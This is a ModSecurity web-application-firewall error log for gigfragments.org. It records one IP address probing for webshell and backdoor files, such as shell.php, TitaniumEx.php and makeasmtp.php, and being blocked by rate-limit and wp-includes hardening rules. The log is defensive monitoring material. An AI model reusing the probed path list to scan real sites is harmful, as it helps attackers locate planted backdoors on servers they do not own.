[Sat Feb 28 22:49:58.676550 2026] [:error] [pid 39185:tid 39251] [client 13.71.191.191:14277] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/transaction_history.php"] [unique_id "aaMAlhVE-FfM89u7BQa2GwAAAIU"]
[Sat Feb 28 22:49:59.416837 2026] [:error] [pid 39183:tid 39211] [client 13.71.191.191:14283] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/transaction_history.php"] [unique_id "aaMAlxCf4HvhVePw3LaquAAAABM"]
[Sat Feb 28 22:50:00.063191 2026] [:error] [pid 39184:tid 39228] [client 13.71.191.191:14171] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/transaction_history.php"] [unique_id "aaMAmFtZF9Zd_U7easDwRgAAAEk"]
[Sat Feb 28 22:50:00.568701 2026] [:error] [pid 49763:tid 49769] [client 13.71.191.191:14111] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/contao/css/service.php"] [unique_id "aaMAmLTHSOG_yf2PpqHnrgAAAcM"]
[Sat Feb 28 22:50:01.094040 2026] [:error] [pid 49763:tid 49790] [client 13.71.191.191:14185] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/contao/css/service.php"] [unique_id "aaMAmbTHSOG_yf2PpqHnsgAAAdg"]
[Sat Feb 28 22:50:01.629317 2026] [:error] [pid 22194:tid 22214] [client 13.71.191.191:14255] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/contao/css/service.php"] [unique_id "aaMAmX6mbajs3bzQGyu3_gAAAVI"]
[Sat Feb 28 22:50:02.214047 2026] [:error] [pid 39292:tid 39310] [client 13.71.191.191:14082] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/contao/css/service.php"] [unique_id "aaMAmqIAO5fN7BxyqcGeHQAAANA"]
[Sat Feb 28 22:50:02.755300 2026] [:error] [pid 39185:tid 39263] [client 13.71.191.191:14088] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "aaMAmhVE-FfM89u7BQa2IQAAAJE"]
[Sat Feb 28 22:50:03.237746 2026] [:error] [pid 39183:tid 39214] [client 13.71.191.191:14261] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "aaMAmxCf4HvhVePw3LaqwgAAABY"]
[Sat Feb 28 22:50:03.653466 2026] [:error] [pid 39184:tid 39240] [client 13.71.191.191:14206] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "aaMAm1tZF9Zd_U7easDwTwAAAFU"]
[Sat Feb 28 22:50:04.067160 2026] [:error] [pid 39183:tid 39216] [client 13.71.191.191:14095] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "aaMAnBCf4HvhVePw3LaqxwAAABg"]
[Sat Feb 28 22:50:04.486233 2026] [:error] [pid 39183:tid 39213] [client 13.71.191.191:14089] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dqbayyrz.php/text.php/shell.php"] [unique_id "aaMAnBCf4HvhVePw3LaqyQAAABU"]
[Sat Feb 28 22:50:04.915728 2026] [:error] [pid 39183:tid 39211] [client 13.71.191.191:14178] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dqbayyrz.php/text.php/shell.php"] [unique_id "aaMAnBCf4HvhVePw3LaqywAAABM"]
[Sat Feb 28 22:50:05.439524 2026] [:error] [pid 49763:tid 49768] [client 13.71.191.191:14140] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dqbayyrz.php/text.php/shell.php"] [unique_id "aaMAnbTHSOG_yf2PpqHnwwAAAcI"]
[Sat Feb 28 22:50:05.914313 2026] [:error] [pid 39184:tid 39239] [client 13.71.191.191:14087] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dqbayyrz.php/text.php/shell.php"] [unique_id "aaMAnVtZF9Zd_U7easDwUgAAAFQ"]
[Sat Feb 28 22:50:06.334014 2026] [:error] [pid 49763:tid 49786] [client 13.71.191.191:14236] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/input.php"] [unique_id "aaMAnrTHSOG_yf2PpqHnywAAAdQ"]
[Sat Feb 28 22:50:06.763781 2026] [:error] [pid 39183:tid 39192] [client 13.71.191.191:14059] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploads/uploads__.php"] [unique_id "aaMAnhCf4HvhVePw3Laq2AAAAAA"]
[Sat Feb 28 22:50:07.202540 2026] [:error] [pid 49763:tid 49766] [client 13.71.191.191:14244] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploads/uploads__.php"] [unique_id "aaMAn7THSOG_yf2PpqHn0AAAAcA"]
[Sat Feb 28 22:50:07.622720 2026] [:error] [pid 39183:tid 39204] [client 13.71.191.191:14264] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploads/uploads__.php"] [unique_id "aaMAnxCf4HvhVePw3Laq2gAAAAw"]
[Sat Feb 28 22:50:08.047262 2026] [:error] [pid 52460:tid 52487] [client 13.71.191.191:14116] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploads/uploads__.php"] [unique_id "aaMAoLLWOogAgHGh62TMEAAAAZg"]
[Sat Feb 28 22:50:08.478095 2026] [:error] [pid 39183:tid 39206] [client 13.71.191.191:14118] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/light/vSqcqEF.php"] [unique_id "aaMAoBCf4HvhVePw3Laq2wAAAA4"]
[Sat Feb 28 22:50:08.900292 2026] [:error] [pid 52460:tid 52475] [client 13.71.191.191:14169] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/light/vSqcqEF.php"] [unique_id "aaMAoLLWOogAgHGh62TMFwAAAYw"]
[Sat Feb 28 22:50:09.322836 2026] [:error] [pid 49763:tid 49769] [client 13.71.191.191:14194] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/light/vSqcqEF.php"] [unique_id "aaMAobTHSOG_yf2PpqHn3QAAAcM"]
[Sat Feb 28 22:50:09.768799 2026] [:error] [pid 52460:tid 52465] [client 13.71.191.191:14181] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/light/vSqcqEF.php"] [unique_id "aaMAobLWOogAgHGh62TMHgAAAYI"]
[Sat Feb 28 22:50:10.243308 2026] [:error] [pid 11791:tid 11797] [client 13.71.191.191:14103] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/js/jcrop/Jcrop.php"] [unique_id "aaMAomuX5e1Q32gqxH3fBwAAAQQ"]
[Sat Feb 28 22:50:10.675737 2026] [:error] [pid 11791:tid 11795] [client 13.71.191.191:14270] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/js/jcrop/Jcrop.php"] [unique_id "aaMAomuX5e1Q32gqxH3fCwAAAQI"]
[Sat Feb 28 22:50:11.144765 2026] [:error] [pid 49763:tid 49788] [client 13.71.191.191:14177] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/js/jcrop/Jcrop.php"] [unique_id "aaMAo7THSOG_yf2PpqHn6QAAAdY"]
[Sat Feb 28 22:50:11.576705 2026] [:error] [pid 39183:tid 39196] [client 13.71.191.191:14200] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/js/jcrop/Jcrop.php"] [unique_id "aaMAoxCf4HvhVePw3Laq4QAAAAQ"]
[Sat Feb 28 22:50:12.108462 2026] [:error] [pid 39184:tid 39229] [client 13.71.191.191:14132] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/service.php"] [unique_id "aaMApFtZF9Zd_U7easDwVgAAAEo"]
[Sat Feb 28 22:50:12.617469 2026] [:error] [pid 39292:tid 39304] [client 13.71.191.191:14295] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/service.php"] [unique_id "aaMApKIAO5fN7BxyqcGeWQAAAMo"]
[Sat Feb 28 22:50:13.118529 2026] [:error] [pid 39183:tid 39192] [client 13.71.191.191:14137] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/service.php"] [unique_id "aaMApRCf4HvhVePw3Laq5QAAAAA"]
[Sat Feb 28 22:50:13.586710 2026] [:error] [pid 39184:tid 39234] [client 13.71.191.191:14170] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/service.php"] [unique_id "aaMApVtZF9Zd_U7easDwWgAAAE8"]
[Sat Feb 28 22:50:14.043990 2026] [:error] [pid 49763:tid 49790] [client 13.71.191.191:14266] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/js/cache.php"] [unique_id "aaMAprTHSOG_yf2PpqHn7wAAAdg"]
[Sat Feb 28 22:50:14.563562 2026] [:error] [pid 39292:tid 39314] [client 13.71.191.191:14048] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/js/cache.php"] [unique_id "aaMApqIAO5fN7BxyqcGeYwAAANQ"]
[Sat Feb 28 22:50:15.049852 2026] [:error] [pid 52460:tid 52481] [client 13.71.191.191:14183] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/js/cache.php"] [unique_id "aaMAp7LWOogAgHGh62TMNAAAAZI"]
[Sat Feb 28 22:50:15.481965 2026] [:error] [pid 52460:tid 52482] [client 13.71.191.191:14101] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/js/cache.php"] [unique_id "aaMAp7LWOogAgHGh62TMNgAAAZM"]
[Sat Feb 28 22:50:15.937631 2026] [:error] [pid 52460:tid 52476] [client 13.71.191.191:14189] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gaza.php"] [unique_id "aaMAp7LWOogAgHGh62TMOAAAAY0"]
[Sat Feb 28 22:50:16.421179 2026] [:error] [pid 11791:tid 11803] [client 13.71.191.191:14307] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gaza.php"] [unique_id "aaMAqGuX5e1Q32gqxH3fFAAAAQo"]
[Sat Feb 28 22:50:16.849209 2026] [:error] [pid 52460:tid 52472] [client 13.71.191.191:14162] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gaza.php"] [unique_id "aaMAqLLWOogAgHGh62TMPAAAAYk"]
[Sat Feb 28 22:50:17.321099 2026] [:error] [pid 52460:tid 52484] [client 13.71.191.191:14129] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gaza.php"] [unique_id "aaMAqbLWOogAgHGh62TMPwAAAZU"]
[Sat Feb 28 22:50:17.736588 2026] [:error] [pid 39183:tid 39213] [client 13.71.191.191:14263] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aaMAqRCf4HvhVePw3Laq-wAAABU"]
[Sat Feb 28 22:50:18.145608 2026] [:error] [pid 22194:tid 22220] [client 13.71.191.191:14139] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aaMAqn6mbajs3bzQGyu4BQAAAVg"]
[Sat Feb 28 22:50:18.572188 2026] [:error] [pid 52460:tid 52485] [client 13.71.191.191:14098] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aaMAqrLWOogAgHGh62TMTQAAAZY"]
[Sat Feb 28 22:50:19.010612 2026] [:error] [pid 39183:tid 39209] [client 13.71.191.191:14090] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aaMAqxCf4HvhVePw3LarCQAAABE"]
[Sat Feb 28 22:50:19.434045 2026] [:error] [pid 39183:tid 39206] [client 13.71.191.191:14203] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/shell.php"] [unique_id "aaMAqxCf4HvhVePw3LarDgAAAA4"]
[Sat Feb 28 22:50:19.856144 2026] [:error] [pid 52460:tid 52487] [client 13.71.191.191:14141] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/shell.php"] [unique_id "aaMAq7LWOogAgHGh62TMWgAAAZg"]
[Sat Feb 28 22:50:20.289574 2026] [:error] [pid 39183:tid 39194] [client 13.71.191.191:14191] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/shell.php"] [unique_id "aaMArBCf4HvhVePw3LarEwAAAAI"]
[Sat Feb 28 22:50:20.711596 2026] [:error] [pid 52460:tid 52481] [client 13.71.191.191:14085] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/shell.php"] [unique_id "aaMArLLWOogAgHGh62TMZQAAAZI"]
[Sat Feb 28 22:50:21.195480 2026] [:error] [pid 39185:tid 39262] [client 13.71.191.191:14216] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mrbmppbo.php"] [unique_id "aaMArRVE-FfM89u7BQa2KgAAAJA"]
[Sat Feb 28 22:50:21.610697 2026] [:error] [pid 39183:tid 39211] [client 13.71.191.191:14153] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mrbmppbo.php"] [unique_id "aaMArRCf4HvhVePw3LarHgAAABM"]
[Sat Feb 28 22:50:22.024794 2026] [:error] [pid 49763:tid 49778] [client 13.71.191.191:14191] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mrbmppbo.php"] [unique_id "aaMArrTHSOG_yf2PpqHoCAAAAcw"]
[Sat Feb 28 22:50:22.447253 2026] [:error] [pid 39183:tid 39206] [client 13.71.191.191:14291] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mrbmppbo.php"] [unique_id "aaMArhCf4HvhVePw3LarKwAAAA4"]
[Sat Feb 28 22:50:22.877098 2026] [:error] [pid 39183:tid 39196] [client 13.71.191.191:14180] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/mfw-activity-logger/csv-uploads/TitaniumEx.php"] [unique_id "aaMArhCf4HvhVePw3LarLwAAAAQ"]
[Sat Feb 28 22:50:23.300555 2026] [:error] [pid 49763:tid 49785] [client 13.71.191.191:14102] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/mfw-activity-logger/csv-uploads/TitaniumEx.php"] [unique_id "aaMAr7THSOG_yf2PpqHoDQAAAdM"]
[Sat Feb 28 22:50:23.721104 2026] [:error] [pid 39292:tid 39304] [client 13.71.191.191:14207] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/mfw-activity-logger/csv-uploads/TitaniumEx.php"] [unique_id "aaMAr6IAO5fN7BxyqcGeZQAAAMo"]
